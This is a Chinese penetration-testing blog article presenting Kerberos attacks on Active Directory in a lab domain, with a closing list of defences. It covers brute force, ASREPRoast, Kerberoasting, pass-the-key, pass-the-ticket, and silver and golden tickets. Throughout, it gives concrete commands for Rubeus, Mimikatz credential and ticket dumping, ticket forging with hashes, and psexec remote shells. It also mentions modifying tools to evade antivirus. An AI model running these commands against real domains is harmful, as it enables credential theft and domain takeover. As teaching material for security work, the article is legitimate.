域渗透:《Kerberos(2):攻击方式》
2021-11-3 15:53:32 Author: mp.weixin.qq.com(查看原文) 阅读量:57 收藏

利用晚上一点点拼凑起来的闲余时间,断断续续的写了快两周…终于让我在计划的时间内写完了 Kerberos 系列的第二篇,因为国内外的相关资料大多都很分散,我希望本系列的文章能达到的效果是类似于一本“手册” 那样,尽量全一点,所以本篇文章会有些长。如有不对的地方,还请指出,谢谢。( author :kalpa )

在这篇关于 Kerberos 系列的文章中,我将展示一些针对该协议的攻击。在阅读本文之前建议先浏览本系列的第一章。 

文章目录:

  • Kerberos 暴力破解
  • ASREPRoast
  • Kerberoasting
  • Pass the key
  • Pass the ticket
  • 银票
  • 金票

目录的排序是按照执行它们时所需的权限大小来排的。执行 Kerberos 暴力破解时,只需要连接 AD(Active Directory) 的 KDC ( 密钥分发中心 ),而执行最后一项攻击,需要的是域管理员或者类似的权限。

接下来会从渗透的角度介绍两种常见的场景:

  • Linux :攻击者在域外的机器( kali ),和 DC 建立了连接。
  • Windows :域中受感染的 Windows 机器。

工具

本文主要用到的工具:

  • Impacket
  • Mimikatz
  • Rubeus
  • PsExec

还用到了其他的工具,会在接下来介绍。

1. Kerberos 暴力破解

Kerberos 是一种身份验证协议,我们可以对它进行暴力破解。 暴破 Kerberos 和暴破其他身份验证方法相比来说,有很多优点,如下: 

  • 执行攻击不需要用到域帐户,只需连接到 KDC 。
  • Kerberos 预身份验证的错误不会在 Active Directory 中记录为正常登录失败事件(4625),而是记录在 Kerberos 预身份验证失败的特定日志里(4771)。
  • Kerberos 在输入账号时就算密码错误,也会提示用户名是否正确,这样的话我们就不必再去枚举用户名了。
  • 在 Kerberos 暴力破解中,还可以在不需要预身份验证的情况下发现用户帐户,这对于执行 ASREPRoast 攻击非常有用。

Linux

kerbrute.py 脚本可用于在 Linux 系统上对目标进行暴力破解:
DC 环境:payloads.online 10.1.40.78
DC 的 Kerberos 88端口为开放状态:

准备字典:

执行攻击:

python3 kerbrute.py -users <用户名文本> -passwords  <密码文本> -domain payloads.online -dc-ip 10.1.40.78 -outputfile <文件名>

可以看到成功爆出了用户密码 *****961。完成后会存储获取到的 TGT 备用,并生成一个保存了用户账号的文件。

Windows

kerbrute.py 脚本同样可以在 Windows 上对目标进行爆破,结果同理:

python3 kerbrute.py -users use.txt -passwords pws.txt -domain payloads.online -outputfile rul.txt


此攻击用 Rubeus 或者其他的工具也可以实现。


2. ASREPRoast

ASREPRoast 是一种对用户账号进行离线爆破的攻击方式。但是该攻击的利用方式比较有局限性,因为它需要用户账号设置了 "Do not require Kerberos preauthentication( 不需要 kerberos 预身份验证 ) " 才能进行攻击 。( 而该属性是默认不勾选的 )

因为进行 ASREPRoast 攻击时会寻找不需要 Kerberos 预身份验证的用户,这意味着任何人都可以代表这些用户中的任何一个向 KDC 发送 AS_REQ 请求,并接收 AS_REP 消息,最后一种消息里包含了使用原始用户密钥加密的数据包,原始用户密钥来于自它的密码;最后攻击者就可以对获取到的用户 Hash 加密的 Session Key 进行离线破解,如果破解成功,就能得到该指定用户的密码明文。

关于原理方面的知识,可以去看本系列的第一章

执行此攻击不需要域帐户,只需连接到 KDC 就行。但如果有域帐户可以用的话,我们就可以使用 LDAP 查询来检索域中那些没有设置 Kerberos 预身份验证的用户,这样我们就不必再去枚举用户名了。

可以使用以下 LDAP 来进行过滤:

(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=4194304))

接下来为了测试,我们先手动勾上。


Linux

这里我们使用脚本GetNPUsers.py在 kali Linux 上对目标进行攻击。

首先根据响应,去查找那些勾选了  "Do not require Kerberos preauthentication( 不需要 kerberos 预身份验证 ) " 的域用户,然后将拿到的 hash 存储为文件 hashes.asreproast 。然后打开这个文件,我们可以看到 $ 符号之后的用户名 [email protected] 和:号后面的hash 值:

python3 GetNPUsers.py payloads.online/ usersfile use.txt -format hashcat -outputfile hashes.asreproast


再用 hashcat 爆破 hash值:


成功拿到密码:

用账号密码查看最新密码的修改时间、最后登陆时间、UAC(用户账户控制)等相关信息:


Windows

在受感染的 windows 上,我们可以使用 Rubeus 来寻找可利用的用户:

拿到 hash 后再用 hashcat 去爆破即可。


3. Kerberoasting

SPN简介:

通过 Microsoft官方文档 我们知道,服务主体名称(SPN: Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。

如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN。如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

SPN 在 kerberos 协议中的作用:

因为 Kerberos 是一种支持票据身份验证的安全协议,如果客户端计算机身份验证的请求里包含有效的用户凭据和服务主体名称 (SPN),则 Kerberos 身份验证服务器将授予一个票据以响应该请求。然后客户端计算机使用该票据来访问网络资源,在内部网络中,SPN扫描是通过查询向域控制器执行服务发现的。

这对于红队而言,可以帮助他们识别正在运行重要服务的主机,比如终端、交换机、微软SQL等,并且可以尽量的隐藏他们自身。另外,SPN的识别也是 kerberoasting 攻击的第一步。

当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着这个 TGT 向 TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过( RC4_HMAC_MD5 )的专门用于访问特定服务的服务票据回来,最后用户只需拿这张服务票据去访问对应的服务资源即可;

而问题就出在 TGS 返回服务票据,目标服务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中 hash,由于 TGS 服务票据加密算法已知,然后我们对它进行爆破,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令,这就是  Kerberoasting 攻击。

需要注意的是,虽然域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就是在域用户下注册的SPN。

步骤:

  • 查询SPN,找到有价值的SPN。
    • 该 SPN 注册在域用户帐户( Users )下,而不是注册在域内机器账户(Computers)上
    • 域用户账户的权限很高
  • 请求TGS。
  • 导出TGS。
  • 暴力破解。

域:xiaoying  10.255.255.71

Linux

为了方便测试,我们在域环境给一些目标注册 SPN:

我们可以通过受感染的 windows 主机,在域外的kali linux 上选择使用 GetUserSPNs.py 脚本在域内根据响应去查询 SPN,并将拿到的 TGS 存到给定名为 hashes.kerberoast 的文件里。

可以看到查到了注册在 Users 下的 SPN,和 hash 里的 域名 / 账户名:

用 hashcat 对 hash 暴力破解:

拿到密码*****.net.cn:

用 john 爆破:

Windows

在受感染的 windows 主机上,我们同样可以使用多种工具来进行 Kerberoasting 攻击,比如 Empire 项目的 Rubeus 或者 Invoke-Kerberoast。

第一步,windows 场景下的SPN发现:

首先我们可以使用 windows 本地的二进制文件 setspn 工具,它可以检索用户账户与服务之间的映射。我们可以用它来添加、删除和查询SPN注册。

setspn -Q  */*

我们可以看到注册在机器账户下(Computers),和用户账户下( Users )的SPN;而 Users 下的SPN正是我们想要的。

我们还可以用 Tim Medin 开发的一个PowerShell脚本,它是 kerberoast 工具包的一部分,可以帮助我们查询活动目录,以发现仅与用户帐户相关联的服务。

.\GetUserSPNs.ps1


还有一个 VBS 脚本也是这个工具的一部分,可以为我们提供相同的信息。该脚本可以通过使用本机的 Windows 二进制 cscript 从 Windows 的命令提示符执行。


除了这些我们还可以使用PowerShell AD Recon 存储库里的各种 PowerShell 脚本来执行 Kerberos 侦察,开发者 Sean Metcalf 将每个脚本绑定到一个特定的服务,具体取决于我们想要发现哪些 SPN;比如 Exchange,Microsoft SQL,Terminal等等,这里不再列举。

接下来我们先在受感染的 windows 主机上使用 Rubeus 获取 hash:

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

hashes.kerberoast 里的 hash

另一种在 windows 主机上实现 Kerberoast 的方法是使用同样来自 Empire 项目的 powershell 脚本 Invoke-Kerberoast,它可以直接加载到内存中:

.\Invoke-Kerberoast.ps1 -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.


完成后将 hash 保存并生成一个文件,我们再拿去爆破。


4. 哈希绕过/密钥传递(PTK)

在 windows 内网渗透中有三种常见的攻击方法:

  • pass the hash(hash传递攻击,简称pth)
  • pass the ticket(票据传递攻击,简称ptt)
  • pass the key(密钥传递攻击,简称ptk)

先介绍下 NTLM:

通过 Microsoft 官方文档 我们得知,NTLM是一种基于质询/应答 (Challenge/Response )消息交换模式的认证机制,常用于工作组和域环境下的身份认证。

NTLM 的认证过程有三步:

  • 协商:主要用于确认双方协议版本(NTLMv1、NTLMv2等)
  • 质询:质询/应答 (Challenge/Response)模式,用于消息交换
  • 验证:验证身份合法性,通常由 Server端或 DC完成这个过程

大致流程如下:

  • 客户端对密码进行哈希处理并缓存密码 hash,丢弃实际的明文密码(不存储),然后将用户名发送到服务器,发起认证请求

  • 服务器生成一个 16字节的随机数,称为质询发送给客户端

  • 客户端使用用户密码Hash 对此质询进行加密,将结果发送给服务器

  • 服务器发送三项数据给域控制器(DC):

    • User name

    • 发送给客户端的质询

    • 从客户端接收到的加密结果

  • 域控制器使用 User name从 AD中检索该用户密码的 NTLM Hash,并使用此 NTLM Hash来加密该质询,然后把这个值和客户端计算的响应值加密结果进行比较。如果它们相同,则验证成功

以上步骤中,用户的登录密码 Hash 即为 NTLM Hash,经过NTLM Hash加密的结果在网络协议中称之为 Net NTLM Hash。


PTH 的原理就是攻击者可以直接通过 LM Hash 或者NTLM Hash 访问远程主机或服务,而不用提供明文密码,详细内容我们不在此展开,因为本系列主要是针对kerberos,所以我们这里讲 PTK。

PTK 是在域中攻击 kerberos 协议的一种方式,可以在NTLM认证被禁止的情况下用来实现/替代类似 PTH 的功能,为了执行此攻击,我们需要目标用户帐户的 NTLM 哈希(或密码)。所以一旦获得用户哈希,就可以为该帐户请求 TGT,最后就可以访问用户帐户具有权限的任何服务或机器。

Linux

我们在kali linux 上可以选择使用 impacket 来执行此攻击。

首先使用 getTGT.py 脚本来请求 TGT 并将其保存为 ccache( 当票据设置为磁盘上的文件时,标准格式和类型都将是 CCACHE 文件;这是一个简单的二进制文件格式,用于存储 Kerberos 凭据。从攻击者的角度来看,CCACHE 票据便于移动,因为它们可以被下载并加载到另一台主机上,而无需更新或验证票证,所以可以利用有效票证进行身份验证,而不需要各自的用户明文密码 ):

python3 getTGT.py fuckfuckfuck.com/xiaoying -hashes :********* //这里可以指定密码,哈希或aesKey


我这里是用的 mimikatz 来获取 NTLM,有很多其他的方法,我就不再列举了。

然后指定 KRB5CCNAME 环境变量的位置( 如果设置了该变量,则该变量指向用于身份验证的 CCACHE 票证的位置 ):

export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache


再使用 psexec.py 脚本连接目标:

python3 psexec.py domain/user@<target name> (这里的target必须是注册了SPN的) -k -no-pass


可以看到生成并使用 TGT 后,最后会启动一个 shell 。

除了 psexec.py ,我们还可以使用其他工具例如 wmiexec.py(它比 psexec.py 更加隐蔽,因为它不会上传任何二进制文件并且不启动任何服务)或 atexec.py(使用计划的任务执行代码)。

wmiexec.py :

wmiexec.py -k -no-pass fuckfuckfuck.com/xiaoying:******.net.cn@*****ient002.fuckfuckfuck.com ipconfig

Windows

在受感染的 windows 主机上,我们这里选择使用 Rubeus 和 PsExec 来实现 PTK。

先获取票据:

.\Rubeus.exe asktgt /domain:fuckfuckfuck.com /user:xiaoying /rc4:*******0ee7522bac27eadaa6aa /ptt


然后我们通过 PsExec 来连接 DC:

.\PsExec.exe -accepteula \\*****.fuckfuckfuck.com cmd


连接成功。


5. 票据传递 (PTT)

这种攻击类似于 hash 传递,但不是使用哈希来请求票据,而是票据本身被盗并用于验证其所有者的身份。也就是我们获取到其他用户的票据后,再以此票据去请求/连接其他目标,从而就可以达到不需要明文密码就可以访问其他用户的目的。

Windows

当前所在主机为:xxx6699  Hostname:Win10Client001,我们要连接的目标机Hostname为:Win10Client002。


在 Windows 中,票据由负责安全的 lsass(本地安全机构子系统服务)进程处理和存储。

我们这里可以选择使用 Mimikatz 的 sekurlsa::tickets /export 命令直接从 LSASS 进程的内存中导出所有的 Kerberos 票据:

"privilege::debug" "sekurlsa::tickets /export"

sekurlsa::tickets /export


后缀为 .kirbi 的文件,便是在 windows 被我们导出的票据文件 ;这里解释一下这个文件格式:

因为 Windows 和 Linux 使用不同的方法来保存票据,所以在开始使用票据之前,我们得把他们根据需求互相转换,例如从 ccache(Linux 文件格式)转换为 kirbi(Mimikatz 和 Rubeus 使用的 Windows 文件格式),反之亦然。

我们可以使用 ticket_converter.py 工具在平台之间互相转换 Linux 和 Windows 的票据格式:

python3 ticket_converter.py xiaoying.kirbi xiaoying.ccache
//或者
python3 ticket_converter.py xiaoying.ccache xiaoying.kirbi


转换成功后,我们就可以将.ccache 格式的票据文件在kal inux 上使用;先将文件路径设置为 KRB5CCNAME 环境变量,再用 impacket 里的脚本去连接目标。

除了使用 mimikatz 以外,我们还可以在 powershell 中用 Rubeus dump出所有票据:

./Rubeus dump


在执行以上其中一个动作之后,票据已经被我们成功获取。

拿到票据后,我们用 mimikatz 可以看到当前主机缓存内的票据的用户名和编号为 60a10000:

kerberos::list


然后清空缓存的票据:

kerberos::purge

接下来将目标主机的票据 40a10000 注入当前主机后,再查看一次当前缓存的票据,可以发现已经注入成功:

kerberos::ptt <ticket name> //注入票据

最后可以选择使用 PsExec 连接目标。

PeExec.exe -accepteula \\domain cmd

票据传递成功。

用 Rubeus 同样可以完成 PTT 攻击;我们当前缓存的票据是刚才注入的,先将其清空:

用 Rubeus 重新注入:

连接成功:

注入用户帐户的票据后,我们就可以远程操作目标替我们执行命令。

除此之外,PTT攻击利用得比较多的方法还有 MS14-068 漏洞,它是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其 Kerberos 票据(TGT)中插入任意PAC(表示所有用户权限的结构),该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中;用户可以通过呈现具有变化的PAC的Kerberos TGT来获得票据。

造成的危害是允许域内任何一个普通用户,将自己提升至域管理员权限,微软已经给出了补丁。这里因为此文目前篇幅已经很长了,就不展示利用过程了,后续其他文章再说。


6. 白银票据( Silver Ticket )

黄金票据(Golden ticket)、白银票据( Silver Ticket )是域内常用的两种票据攻击方式,这里大致讲一下金票与银票在域内的区别:

  • Silver Ticket(白银票据)不同与 Golden Ticket。Silver Ticket 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志,而 Golden Ticket 在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。
  • Silver Ticket(白银票据)依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
  • Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
  • Silver Ticket(白银票据)会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。
  • Golden Ticket 是由 krbtgt 账号加密的,而 Silver Ticket(白银票据)是由特定服务账号加密的。
  • 金票的特点是不需要与AS进行交互,但需要用户krbtgt的HASH;银票的特点是不需要与 KDC 进行交互,但代价是伪造的时候需要服务的 NTLM hash。

更详细的原理,可以去看本系列的第一章。

制作/伪造一张银票,我们需要以下信息:

  • 域名
  • 域 SID
  • 目标服务器的 FQDN( 全称域名 )
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 要伪造的用户名(自定义)

Windows

收集我们需要的信息:

当前本机的域名:fuckfuckfuck.com 计算机名:Win10Client001 

net config workstation

再用 wmic useraccount get name,sid 可以看到所有用户的 SID:

wmic useraccount get name,sid


然后我们到另一台拥有域管理员权限的域服务账户( Win10Client002 )上获取 NTLM :

"sekurlsa::logonpasswords"

回到Win10Client001上,然后清空票据缓存:

用得到的信息制作/伪造一张白银票据:

kerberos::golden /domain:fuckfuckfuck.com /sid:S-1-5-21-2122058825-1058390281-3825209234-1646 /target:Win10Client002.fuckfuckfuck.com /service:Apache /rc4:1802b0f80f63ec1fb6f57ffec1ed3635 /user:daxiao

生成的文件:

用 Rubeus 将票据注入内存,最后 PsExec 连接目标:

Rubeus.exe ptt /ticket:ticket.kirbi


Linux

在kali linux,我们可以使用 impacket 的 ticketer.py 来制作白银票据,然后设置 KRB5CCNAME 环境变量,最后使用 psexec.py 连接目标服务:


7. 黄金票据(Golden ticket)

当域内有可疑行为时,管理员通常会修改域控管理员密码来避免攻击者进一步攻击,但通常会忘记修改 krbtgt 的密码,导致攻击者可以利用此来进行权限维持。在域环境中所有的票据都是由 krbtgt 生成,获取了 krbtgt 的 NTLM 或 AES-256 我们就可以伪造域内任意用户的身份去访问其他服务。

制作/伪造一张黄金票据需要的信息:

  • 需要伪造的域管理员名称
  • 域 SID
  • 目标服务器的 FQDN( 全称域名 )
  • Krbtgt 的 Hash NTLM 值或 AES-256 值

Windows

在一台拥有域管理员权限的域服务账户主机( Win10Client002 )上抓取 krbtgt hash 的 NTLM 。

同样生成文件后,我们回到 Win10Client001,用其制作一张黄金票据:

用 Rubeus 将金票注入后,连接目标:

Linux

使用 impacket 的 ticketer.py 来制作白银票据,然后设置 KRB5CCNAME 环境变量,最后使用 psexec.py 连接目标服务。跟银票差不多的操作,只是这里不需要再去指定 -SPN:

连接成功:


防御措施

为了防止或减轻许多此类 Kerberos 攻击,可以实施一系列策略,一些示例如下:

  • 启用强密码策略:第一步是避免在域用户帐户中使用弱口令,我们应该实施强密码策略,要确保在 Active Directory 域上启用复杂密码的选项。还要将密码中一些常见且容易被预测的术语,例如公司名称、年份或月份名称、生日日期等列入黑名单,因为这些信息容易被黑客用来做爆破字典。
  • 避免没有预认证的账户:如果可以的话,尽量所有账户都勾选上 “账户必须启用 Kerberos 预认证”。如果无法避免的话,我们就要特别注意这些特殊的帐户并创建具有高度复杂性的伪随机密码。
  • 避免代表用户帐户执行服务:避免在域用户帐户上下文中运行的服务,如果使用特殊用户帐户启动域服务(SPN),那么请为该帐户生成强伪随机密码。
  • 验证 PAC:启用 PAC 验证以避免 Silver Ticket 等攻击;要启用此检查,请将子项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters 中的值 ValidateKdcPacSignature (DWORD)设置为 1。
  • 定期更改密码:设置策略以确保用户定期修改用户密码,例如每 2 到 4 个月。作为特殊情况,还应定期更改 krbtgt 帐户密码,因为该密钥用于创建 TGT。还可以使用脚本 https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51。要注意:因为缓存的原因 所有 krbtgt 的密码必须修改两次才能使当前域票据无效 。还有一个要注意的:域的功能级别必须等于或高于 Windows Server 2008,才能操作 krbtgt 帐户凭据。
  • 禁用 Kerberos 弱加密类型:只允许使用 AES 密钥进行 Kerberos 加密。建议监视具有较低加密级别(如 RC4)的 Kerberos 请求,因为攻击工具通常会使用该请求。

因为篇幅太长,这里不再列举,更详细的可以看这份 Microsoft 发布的指南,其中解释了预防和缓解此类攻击更详细的方法;

它可以在 https://www.microsoft.com/en-us/download/details.aspx?id=36036 下载。



End

跟我们看到的一样,Kerberos 具有巨大的攻击面,可供攻击者使用,而且还不仅仅是这些,在域渗透里,还有一个 Kerberos 功能可以扩展:委派 。

委派的功能以及如何对它进行窃取和攻击域帐户,我会写在本系列的下一篇文章。另外要注意,这些用到的工具大家在用的时候一般都会去做免杀,我自己在用的时候也会去做相关的免杀,但这个不在本系列内容的范畴内,之后别的文章会提到。

最后,如果有错误,还请斧正,谢谢。


文章外链:

Impacket:https://github.com/SecureAuthCorp/impacket

Mimikatz:https://github.com/gentilkiwi/mimikatz

Rubeus:https://github.com/GhostPack/Rubeus

PsExec:https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

kerbrute.py:https://github.com/TarlogicSecurity/kerbrute

GetNPUsers.py:https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py

Microsoft官方文档:https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spn-setspn-syntax.aspx

GetUserSPNs.py:https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

 Empire:https://github.com/EmpireProject/Empire

Invoke-Kerberoast:https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

 Tim Medin:https://twitter.com/TimMedin

PowerShell AD Recon:kerberoast:https://github.com/nidem/kerberoast

通过 Microsoft 官方文档 我们得知,NTLM:https://docs.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview

ticket_converter.py:https://github.com/Zer1t0/ticket_converter

还可以使用脚本:https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51

https://www.microsoft.com/en-us/download/details.aspx?id=36036 


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg5MzU4NTgwNQ==&mid=2247483856&idx=1&sn=610fa86ca12d8e141cb44045d1499511&chksm=c02dd132f75a5824ebaac71f03218aad0ae8373b6aed58fc2dacde38f2538b16f858c4aab01b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh